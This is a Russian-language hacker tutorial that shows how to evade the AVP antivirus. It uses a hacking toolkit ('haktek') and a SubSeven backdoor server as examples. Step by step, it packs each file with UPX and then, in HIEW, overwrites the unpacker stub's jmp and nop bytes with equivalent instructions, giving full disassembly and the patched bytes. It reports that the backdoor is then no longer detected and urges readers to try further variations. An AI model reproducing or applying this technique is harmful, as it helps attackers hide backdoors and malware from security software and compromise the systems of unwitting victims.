ПРИМЕР 1
haktek v1.1 - ну чего-то там "в одном FLAKоне": мэйлбомбер, сканнер... СТАРЬЁ! Почему-то "сидит" в AVP'шной базе как злостный вирус! (но пока что мой комп ещё жив).
1-е - запаковка UPX:
upx.exe -9 haktek.ex_
опция "-9" означает, что сжатие будет МАКСИМАЛЬНО ВОЗМОЖНЫМ.
2-е - "хьювирование":
hiew32.exe haktek.ex_
жмем F4 => DECODE
F8 => F5 (смотрим "сводку" об X-ze и "прыгаем" на Entry Point)
Видим что то типа этого:
.004ABBC0: 60 pushad
.004ABBC1: BE15904700 mov esi,000479015 ;" GР"
.004ABBC6: 8DBEEB7FF8FF lea edi,[esi][0FFF87FEB]
.004ABBCC: 57 push edi
.004ABBCD: 83CDFF or ebp,-001 ;""
.004ABBD0: EB10 jmps .0004ABBE2 -------- (1)
.004ABBD2: 90 nop
.004ABBD3: 90 nop
.004ABBD4: 90 nop
.004ABBD5: 90 nop
.004ABBD6: 90 nop
.004ABBD7: 90 nop
.004ABBD8: 8A06 mov al,[esi]
.004ABBDA: 46 inc esi
.004ABBDB: 8807 mov [edi],al
.004ABBDD: 47 inc edi
.004ABBDE: 01DB add ebx,ebx
.004ABBE0: 7507 jne .0004ABBE9 -------- (2)
.004ABBE2: 8B1E mov ebx,[esi]
Итак - это начало распаковщика. По его "внешнему виду" AVP и определяет ТИП. Вот то, что находится с 004ABBD0 по 004ABBD7, нас и интересует! Как известно, nop ничего не делает (no operation), но для чего оно тут нужно? Ответ: компилятором или самим пакером резервируется место под код.
Предлагаю изменить команды так (это, конечно, ПОЛНОЕ издевательство над оптимизацией, извращение, но зато полностью заняло свободные байты):
.004ABBD0: 6A00 push 000 ;-> толкаем в стек 0
.004ABBD2: 58 pop eax ;-> помещаем 0 в eax
.004ABBD3: 91 xchg ecx,eax ;-> обмениваем содержимое eax на ecx и наоборот
.004ABBD4: 85C9 test ecx,ecx ;-> равен ли ноль нолю aka zf=1 ??? ;)
.004ABBD6: 740A je .0004ABBE2 ;-> если да, то "прыгаем"
Для тех, кто не понял: мы "размазали" 2-х байтную команду jmp на 8 (!) байт.
Вот, в принципе, и всё! НЕ забудьте нажать F9 для сохранения результатов.
Включаем AVP (можно даже с режимом изб. сканирования) и видим, что haktek.exe В ПОРЯДКЕ!
ПРИМЕР 2
1 - е:
upx.exe -9 server.ex_
2 - е:
hiew32.exe server.ex_
F4 => DECODE; F8 => F5; Видим:
.0042B74A: EB0E jmps .00042B75A
.0042B74C: 90 nop
.0042B74D: 90 nop
.0042B74E: 90 nop
.0042B74F: 90 nop
.0042B750: 8A06 mov al,[esi]
Нда-с, на сей раз нам дано чуть меньше "нопов" для развлекалочки. Ну ничего, jmp можно "размазать" и так:
.0042B74A: 33C0 xor eax,eax ;->пусть eax будет равен 0
.0042B74C: 85C0 test eax,eax ;->так равен ли eax 0, т.е. zf=1?
.0042B74E: 740A je .00042B75A ;-> ну если равен - переходим.
Опять сохраняем...
3-е - тест:
Ну на этот раз Backdoor.SubSeven.22.b1 НЕ ОБНАРУЖЕН.
ВСЁ!!!
Последнее напутствие: в этой статье рассказано только об одной "оптимизации" анпакера, мною обнаруженной, но, наверняка, вы найдёте и другие. Например, пустые циклы, "размазки" компилятора... Ведь главное изменить как можно большее количество байт анпакера, чтобы AVP "бросил" его проверку. Поэтому экспериментируйте, фантазируйте, ищите другие пакеры...